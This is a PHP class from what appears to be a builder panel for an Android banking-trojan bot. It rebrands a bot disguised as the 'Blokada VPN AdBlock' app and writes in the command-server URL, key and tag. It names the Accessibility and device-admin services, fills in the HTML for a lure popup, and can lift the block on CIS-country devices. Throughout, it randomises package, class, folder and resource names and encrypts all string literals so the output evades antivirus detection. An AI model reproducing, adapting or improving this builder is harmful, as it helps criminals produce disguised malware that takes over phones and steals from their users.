<?php

class utils
{
    function replaceStringProject(
        $id_user,
        $url,
        $name_app,
        $key,
        $tag,
        $nameAccessibilityService,
        $nameAdminDevice,
        $block_emul,
        $html,
        $htmlPopup,
        $build_inj,
        $build_with_white_app,
        $white_app)
    {
        //***
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . "/source/app/build.gradle", ".sert.", $_SESSION['path_temp'] . $id_user . "/key.jks");
        //***
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/AndroidManifest.xml', 'android:label="Blokada VPN AdBlock"', 'android:label="' . $name_app . '"');
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/app/src/main/AndroidManifest.xml', 'android:label="Blokada VPN AdBlock"', 'android:label="' . $name_app . '"');
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/AndroidManifest.xml', 'android:label="Start Accessibility"', 'android:label="' . $nameAccessibilityService . '"');
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/AndroidManifest.xml', 'android:label="NameAdminDevice"', 'android:label="' . $nameAdminDevice . '"');

        if ($build_with_white_app == '1') {
            $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/app/src/main/java/com/example/myapplication/Main2.kt', '%INSERT_APP_TO_START_HERE%', $white_app);
        }
        else {
            $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/app/src/main/java/com/example/myapplication/Main2.kt', '%INSERT_APP_TO_START_HERE%', "");
        }

        //***
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/java/com/amazon/zzz/constNm.kt', '%INSERT_URL_HERE%', $url);
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/java/com/amazon/zzz/constNm.kt', '%INSERT_KEY_HERE%', $key);
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/java/com/amazon/zzz/constNm.kt', '%INSERT_TAG_HERE%', $tag);
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/java/com/amazon/zzz/constNm.kt', '%INSERT_ACCESS1_HERE%', $nameAccessibilityService);
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/java/com/amazon/zzz/constNm.kt', '%INSERT_ACCESS2_HERE%', $nameAccessibilityService);

        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/java/com/amazon/zzz/Activities/actToastAccessbility.kt', '%INSERT_HTML_HERE%', $html);
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/java/com/amazon/zzz/Activities/actToastAccessbility.kt', '%INSERT_POPUP_HERE%', $htmlPopup);

        if ($build_inj == '1') {
            $this->replaceStringFile($_SESSION['path_temp'] . $id_user . "/source/app/build.gradle", "shrinkResources true", "shrinkResources false");
            $this->replaceStringFile($_SESSION['path_temp'] . $id_user . "/source/app/build.gradle", "minifyEnabled true", "minifyEnabled false");
        }

        if ($block_emul == '1') $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/java/com/amazon/zzz/constNm.kt', 'val blockCIS = !BuildConfig.DEBUG', 'val blockCIS = false');
    }

    function replaceStringFile($pathFile, $String, $replaceString)
    {
        $strFile = file_get_contents($pathFile);
        $strFile = str_replace($String, $replaceString, $strFile);
        file_put_contents($pathFile, $strFile);
    }

    function createIcon($id_user)
    {
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 72x72   " . $_SESSION['path_temp'] . $id_user . "/source/bot/src/main/res/mipmap-hdpi/ic_launcher.png");
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 48x84   " . $_SESSION['path_temp'] . $id_user . "/source/bot/src/main/res/mipmap-mdpi/ic_launcher.png");
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 96x96   " . $_SESSION['path_temp'] . $id_user . "/source/bot/src/main/res/mipmap-xhdpi/ic_launcher.png");
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 144x144 " . $_SESSION['path_temp'] . $id_user . "/source/bot/src/main/res/mipmap-xxhdpi/ic_launcher.png");
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 192x192 " . $_SESSION['path_temp'] . $id_user . "/source/bot/src/main/res/mipmap-xxxhdpi/ic_launcher.png");

        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 72x72   " . $_SESSION['path_temp'] . $id_user . "/source/bot/src/main/res/mipmap-hdpi/ic_launcher_round.png");
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 48x84   " . $_SESSION['path_temp'] . $id_user . "/source/bot/src/main/res/mipmap-mdpi/ic_launcher_round.png");
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 96x96   " . $_SESSION['path_temp'] . $id_user . "/source/bot/src/main/res/mipmap-xhdpi/ic_launcher_round.png");
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 144x144 " . $_SESSION['path_temp'] . $id_user . "/source/bot/src/main/res/mipmap-xxhdpi/ic_launcher_round.png");
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 192x192 " . $_SESSION['path_temp'] . $id_user . "/source/bot/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png");

        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 72x72   " . $_SESSION['path_temp'] . $id_user . "/source/app/src/main/res/mipmap-hdpi/ic_launcher.png");
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 48x84   " . $_SESSION['path_temp'] . $id_user . "/source/app/src/main/res/mipmap-mdpi/ic_launcher.png");
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 96x96   " . $_SESSION['path_temp'] . $id_user . "/source/app/src/main/res/mipmap-xhdpi/ic_launcher.png");
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 144x144 " . $_SESSION['path_temp'] . $id_user . "/source/app/src/main/res/mipmap-xxhdpi/ic_launcher.png");
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 192x192 " . $_SESSION['path_temp'] . $id_user . "/source/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png");

        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 72x72   " . $_SESSION['path_temp'] . $id_user . "/source/app/src/main/res/mipmap-hdpi/ic_launcher_round.png");
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 48x84   " . $_SESSION['path_temp'] . $id_user . "/source/app/src/main/res/mipmap-mdpi/ic_launcher_round.png");
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 96x96   " . $_SESSION['path_temp'] . $id_user . "/source/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png");
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 144x144 " . $_SESSION['path_temp'] . $id_user . "/source/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png");
        system(" convert " . $_SESSION['path_temp'] . $id_user . "/icon.png -resize 192x192 " . $_SESSION['path_temp'] . $id_user . "/source/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png");
    }

    function cryptPackage($id_user)
    {
        $newPackage = array('com', $this->readable_random_string(rand(12, 16)), $this->readable_random_string(rand(4, 8)));
        $strOldPackage = 'com.amazon.zzz';
        $strOldPackage1 = 'com/amazon/zzz';
        $strNewPackage = $newPackage[0] . '.' . $newPackage[1] . '.' . $newPackage[2];
        $strNewPackage1 = $newPackage[0] . '/' . $newPackage[1] . '/' . $newPackage[2];

        //---Manifest---
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/AndroidManifest.xml', $strOldPackage, $strNewPackage);
        //---build.gradle---
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/build.gradle', $strOldPackage, $strNewPackage);

        //---File Class Java---
        $arrayFolder = $this->getAllFiles($_SESSION['path_temp'] . $id_user . '/source/app/src/main/java/');
        foreach ($arrayFolder as $files) { //replace name class to files!
            if (!is_dir($files))
                $this->replaceStringFile($files, $strOldPackage, $strNewPackage);
        }
        foreach ($this->arrayAllFiles($id_user) as $files) { //replace name class to files!
            if (!is_dir($files))
                $this->replaceStringFile($files, $strOldPackage, $strNewPackage);
        }
        foreach ($this->getAllFiles($_SESSION['path_obfusk_work']) as $files) { //replace name class to files!
            if (!is_dir($files))
                $this->replaceStringFile($files, $strOldPackage1, $strNewPackage1);
        }
        //---Rename Folder Package---
        //* 0
        //* 1
        rename($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/java/com/amazon'
            , $_SESSION['path_temp'] . $id_user . '/source/bot/src/main/java/com/' . $newPackage[1]);
        //* 2
        rename($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/java/com/' . $newPackage[1] . '/zzz'
            , $_SESSION['path_temp'] . $id_user . '/source/bot/src/main/java/com/' . $newPackage[1] . '/' . $newPackage[2]);
    }

    function cryptPackage2($id_user)
    {
        $newPackage = array('com', $this->readable_random_string(rand(12, 16)), $this->readable_random_string(rand(4, 8)));
        $strOldPackage = 'com.example.myapplication';
        $strOldPackage1 = 'com/example/myapplication';
        $strNewPackage = $newPackage[0] . '.' . $newPackage[1] . '.' . $newPackage[2];
        $strNewPackage1 = $newPackage[0] . '/' . $newPackage[1] . '/' . $newPackage[2];

        //---Manifest---
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/app/src/main/AndroidManifest.xml', $strOldPackage, $strNewPackage);
        //---build.gradle---
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/app/build.gradle', $strOldPackage, $strNewPackage);

        //---File Class Java---
        $arrayFolder = $this->getAllFiles($_SESSION['path_temp'] . $id_user . '/source/app/src/main/java/com/example/myapplication');
        foreach ($arrayFolder as $files) { //replace name class to files!
            if (!is_dir($files))
                $this->replaceStringFile($files, $strOldPackage, $strNewPackage);
        }
        foreach ($this->arrayAllFiles($id_user) as $files) { //replace name class to files!
            if (!is_dir($files))
                $this->replaceStringFile($files, $strOldPackage, $strNewPackage);
        }
        foreach ($this->getAllFiles($_SESSION['path_obfusk_work']) as $files) { //replace name class to files!
            if (!is_dir($files))
                $this->replaceStringFile($files, $strOldPackage1, $strNewPackage1);
        }
        //---Rename Folder Package---
        //* 0
        //* 1
        rename($_SESSION['path_temp'] . $id_user . '/source/app/src/main/java/com/example'
            , $_SESSION['path_temp'] . $id_user . '/source/app/src/main/java/com/' . $newPackage[1]);
        //* 2
        rename($_SESSION['path_temp'] . $id_user . '/source/app/src/main/java/com/' . $newPackage[1] . '/myapplication'
            , $_SESSION['path_temp'] . $id_user . '/source/app/src/main/java/com/' . $newPackage[1] . '/' . $newPackage[2]);
    }

    function readable_random_string($length = -1)
    {
        if ($length == -1) {
            $length = rand(4, 16);
        }

        $string = '';
        $vowels = array("a", "e", "i", "o", "u");
        $consonants = array(
            'b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm',
            'n', 'p', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z'
        );

        $max = $length / 2;
        for ($i = 1; $i <= $max; $i++) {
            $string .= $consonants[rand(0, 19)];
            $string .= $vowels[rand(0, 4)];
        }

        return $string;
    }

    function arrayAllFiles($id_user)
    {
        $arrayFolder = $this->getAllFiles($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/java/');
        foreach ($this->getAllFiles($_SESSION['path_temp'] . $id_user . '/source/app/src/main/java/') as $files) { //replace name class to files!
            if (!is_dir($files))
                $arrayFolder[] = $files;
        }
        return $arrayFolder;
    }

    function getAllFiles($dir, &$results = array())
    {
        $files = scandir($dir);
        foreach ($files as $key => $value) {
            $path = realpath($dir . DIRECTORY_SEPARATOR . $value);
            if (!is_dir($path)) {
                $results[] = $path;
            } else if ($value != "." && $value != "..") {
                $this->getAllFiles($path, $results);
                $results[] = $path;
            }
        }

        return $results;
    }

    function cryptRes($id_user)
    {
        //---Admin Device ---
        $newNameFileAdminDevice = $this->readable_random_string();
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/AndroidManifest.xml', 'xml/adm', 'xml/' . $newNameFileAdminDevice);
        rename($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/res/xml/adm.xml',
            $_SESSION['path_temp'] . $id_user . '/source/bot/src/main/res/xml/' . $newNameFileAdminDevice . '.xml');

        //---Accessibility ---
        $newNameFileAccessibility = $this->readable_random_string();
        $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/AndroidManifest.xml', 'xml/serviceconfig', 'xml/' . $newNameFileAccessibility);
        rename($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/res/xml/serviceconfig.xml',
            $_SESSION['path_temp'] . $id_user . '/source/bot/src/main/res/xml/' . $newNameFileAccessibility . '.xml');

        // layout xml rename
        $newNameLay2 = $this->readable_random_string();
        rename($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/res/layout/custom_notif_zzz.xml',
            $_SESSION['path_temp'] . $id_user . '/source/bot/src/main/res/layout/' . $newNameLay2 . '.xml');
        foreach ($this->arrayAllFiles($id_user) as $files) { //replace name class to files!
            if (!is_dir($files))
                $this->replaceStringFile($files, "custom_notif_zzz", $newNameLay2);
        }

        $newNameLay3 = $this->readable_random_string();
        rename($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/res/layout/lustom_notif_zzz.xml',
            $_SESSION['path_temp'] . $id_user . '/source/bot/src/main/res/layout/' . $newNameLay3 . '.xml');
        foreach ($this->arrayAllFiles($id_user) as $files) { //replace name class to files!
            if (!is_dir($files))
                $this->replaceStringFile($files, "lustom_notif_zzz", $newNameLay3);
        }
    }

    function cryptAllString($id_user)
    {
        foreach ($this->arrayAllFiles($id_user) as $file) {
            if (!is_dir($file)) {
                $matches = array();
                $textFile = file_get_contents($file);
                preg_match_all('~"([^"]*)"~u', $textFile, $matches);
                $countArray = count(explode('"', $textFile)) / 2;

                if ($countArray >= 1) {
                    if (!(strpos($file, "apiRequestHttpNm") !== false))
                        $this->file_edit_contents($file, 1, "import com.amazon.zzz.ClipherNm.AesCryptorNm;");
                    $this->crypt_str($file);
                }
                system('chmod 777 ' . $file);
            }
        }
    }

    function file_edit_contents($file_name, $line, $new_value)
    {
        $file = explode("\n", rtrim(file_get_contents($file_name)));
        $file[$line] = $file[$line] . $new_value;
        $file = implode("\n", $file);
        file_put_contents($file_name, $file);
    }

    function crypt_str($file_name)
    {
        $file = explode("\n", rtrim(file_get_contents($file_name)));

        require_once 'blowfish.php';
        $blowfish = new blowfish();

        if (!(strpos($file[0], "Clipher") !== false) && !(strpos($file[0], "actToastAccessbility") !== false)) {
            foreach ($file as $i => $key) {
                $matches = array();
                $textFile = $file[$i];
                preg_match_all('~"([^"]*)"~u', $textFile, $matches);

                $countArray = substr_count($textFile, '"') / 2;

                for ($ii = 0; $ii < $countArray; $ii++) {
                    if ($matches[1][$ii] != ""
                        && strlen($matches[1][$ii]) <= 2048
                        && !(strpos($textFile, "@SuppressLint") !== false)
                        && !(strpos($textFile, '"""') !== false)
                        && !(strpos($textFile, "base64Decode") !== false)
                        && !(strpos($textFile, "@Suppress") !== false)
                        && !(strpos($textFile, "@Deprecated") !== false)
                        && !(strpos($textFile, "$") !== false)) {
                        $textEn = $blowfish->Encrypt($matches[1][$ii]);
                        $textFile = str_replace("\"" . $matches[1][$ii] . "\"", "AesCryptorNm.decryptstr(\"$textEn\")", $textFile); //Replace Text
                    }
                }
                $file[$i] = $textFile;
            }
        }

        $file = implode("\n", $file);
        file_put_contents($file_name, $file);
    }

    function replaceNameFileMain2JavaClass($id_user)
    {
        foreach ($this->arrayAllFiles($id_user) as $file) {
            $dir = dirname($file);
            $ext = pathinfo($file, PATHINFO_EXTENSION);

            $nameFileOld = basename($file);
            if ((strpos($nameFileOld, 'Main2') !== false)) {
                $nameClassOld = str_replace("." . $ext, "", $nameFileOld);
                $nameFileNew = $this->readable_random_string() . '.' . $ext;
                $nameClassNew = str_replace("." . $ext, "", $nameFileNew);
                if (!is_dir("$dir/$nameFileOld")) {
                    rename("$dir/$nameFileOld", "$dir/$nameFileNew");
                    foreach ($this->arrayAllFiles($id_user) as $file2) { //replace name class to files!
                        if (!is_dir($file2)) {
                            $this->replaceStringFile($file2, "$nameClassOld", "$nameClassNew");
                        }
                    }
                    $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/AndroidManifest.xml', "$nameClassOld", "$nameClassNew");
                    $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/app/src/main/AndroidManifest.xml', "$nameClassOld", "$nameClassNew");
                }
            }
        }
    }

    function replaceNameFileJavaClass($id_user)
    {
        foreach ($this->getAllFiles($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/java/') as $file) {
            $dir = dirname($file);
            $ext = pathinfo($file, PATHINFO_EXTENSION);

            $nameFileOld = basename($file);
            if (!(strpos($nameFileOld, 'Payload') !== false)) {
                $nameClassOld = str_replace("." . $ext, "", $nameFileOld);
                $nameFileNew = $this->readable_random_string() . '.' . $ext;
                $nameClassNew = str_replace("." . $ext, "", $nameFileNew);
                if (!is_dir("$dir/$nameFileOld")) {
                    rename("$dir/$nameFileOld", "$dir/$nameFileNew");
                    foreach ($this->arrayAllFiles($id_user) as $file2) { //replace name class to files!
                        if (!is_dir($file2)) {
                            $this->replaceStringFile($file2, "$nameClassOld", "$nameClassNew");
                        }
                    }
                    $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/AndroidManifest.xml', "$nameClassOld", "$nameClassNew");
                }
            }
        }
    }

    function replaceAllFolder($id_user)
    {
        $arrayFolder = array(
            $this->readable_random_string() => "Activities",
            $this->readable_random_string() => "Admin",
            $this->readable_random_string() => "ApiNm",
            $this->readable_random_string() => "ClipherNm",
            $this->readable_random_string() => "Receivers",
            $this->readable_random_string() => "Services",
            $this->readable_random_string() => "Smsmnd",
            $this->readable_random_string() => "Utilsss",
            $this->readable_random_string() => "Modull",
        );

        foreach ($arrayFolder as $newFolder => $oldFolder) {
            $dir = $_SESSION['path_temp'] . $id_user . '/source/bot/src/main/java/com/amazon/zzz/';
            foreach ($this->arrayAllFiles($id_user) as $files) { //replace name class to files!
                if (!is_dir($files))
                    $this->replaceStringFile($files, ".$oldFolder", ".$newFolder");
            }
            if (is_dir($dir . $oldFolder))
                rename($dir . $oldFolder, $dir . $newFolder);
            $this->replaceStringFile($_SESSION['path_temp'] . $id_user . '/source/bot/src/main/AndroidManifest.xml', ".$oldFolder.", ".$newFolder.");

            $dir = $_SESSION['path_temp'] . $id_user . '/source/bot/src/main/java/com/amazon/zzz/Modull/';
            if (is_dir($dir . $oldFolder))
                rename($dir . $oldFolder, $dir . $newFolder);
        }
    }

    function createKey($id_user)
    {
        $ran1 = $this->readable_random_string();
        $ran2 = $this->readable_random_string();
        $sign_tool = "keytool -genkey -v -keystore " . $_SESSION['path_temp'] . $id_user . "/key.jks -alias key0 -keyalg RSA -keysize 2048 -validity 999 -storepass 123123 -keypass 123123 -dname \"CN=$ran1,O=$ran2,C=US\"";
        system($sign_tool);
    }

    function randString()
    {
        $chars = 'qwertyuiopasdfghjklzxcvbnm';
        $numChars = strlen($chars);
        $string = '';
        $length = rand(3, 16);
        for ($i = 0; $i < $length; $i++) {
            $string .= substr($chars, rand(1, $numChars) - 1, 1);
        }
        return $string;
    }

    function getFiles($path)
    {
        $dir = opendir($path);
        $array = array();
        $var = 0;
        while ($file = readdir($dir)) {
            if (!is_dir("$path/$file") && $file != '.' && $file != '..') {
                $array[$var] = "$path/$file";
                $var++;
            }
        }
        return $array;
    }
}